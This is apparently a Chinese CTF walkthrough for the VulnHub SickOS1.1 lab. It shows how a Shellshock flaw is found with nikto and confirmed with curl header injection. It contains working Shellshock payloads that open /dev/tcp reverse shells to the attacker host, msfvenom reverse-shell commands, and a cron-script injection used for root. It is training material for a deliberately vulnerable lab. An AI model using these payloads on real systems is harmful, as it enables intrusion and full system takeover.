解法二:shellshock漏洞利用
靶机下载链接:https://download.vulnhub.com/sickos/sick0s1.1.7z
复现视频:【「红队笔记」靶机精讲:SickOS1.1 - Shellshock原理和利用过程精讲】https://www.bilibili.com/video/BV14e4y1n7ua?vd_source=09d322662ec63869ded6328cd2203029
信息收集:打靶:vulnhub中的SickOS1.1-CSDN博客
nikto是Kali自带的一个web漏洞扫描器,可以识别目标网站,服务器上存在安全隐患的漏洞
利用nikto去扫描网站是否有漏洞,有个shellshock漏洞。
shellshock详细介绍
用curl测试有否有shellshock漏洞
curl -v --proxy http://靶机ip:端口 http://靶机ip/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"
泄露用户的uid,gid信息,含有这个漏洞。
在确定含有这个漏洞后,对这个漏洞进行利用。
利用kali中自带的msfvenom生成反弹shell
sudo msfvenom -p cmd/unix/reverse_bash lhost=kali的ip lport=443 -f raw
开启监听443端口
利用curl发送payload
curl -v --proxy http://靶机ip:靶机端口 http://靶机ip/cgi-bin/status -H "Referer:() { test;}; 0<&39-;exec 39<>/dev/tcp/kali的ip/443;sh <&39 >&39 2>&39"
查看监听端口,显示没这个文件或者目录
将之前命令之中的sh写成完成路径/bin/bash
curl -v --proxy http://靶机ip:靶机端口 http://靶机ip/cgi-bin/status -H "Referer:() { test;}; 0<&39-;exec 39<>/dev/tcp/kali的ip/443;/bin/bash <&39 >&39 2>&39"
重新开启监听
重新发送payload
查看监听端口,收到了反弹shell,但是交互性很差
使用dpkg –l命令,查看是否有python,利用python获得交互性更好的shell。具有python
dpkg –l
使用python -c "import pty;pty.spawn('/bin/bash')",获得交互性更好的shell
python -c "import pty;pty.spawn('/bin/bash')"
具有了交互性的shell
查看当前的权限,需要密码,但是没有密码,输错了三次。
提权
想办法对用户进行提权
先到此用户的家目录看一下,有哪些文件
依次查看文件内容,并没有多余的信息。剩下几个文件就不展示了
到/etc目录下,查找定时任务,看看有没有可以利用的定时执行的高权限文件
查看第一个目录,进入目录当中,查看第一个文件。都是*代表每分钟,执行connect.py这个脚本文件。
构造python文件的payload
msfvenom -p cmd/unix/reverse_python lhost=kali的ip lport=444 -f raw
将其payload追加到定时执行的文件当中“/var/www/connect.py”
查看/var/www/connect.py是否追加上了
同时开启一个监听端口
查看监听端口,成功返回一个shell
利用python -c "import pty;pty.spawn('/bin/bash')",获取交互性的shell
python -c "import pty;pty.spawn('/bin/bash')"
查看flag
靶机完成。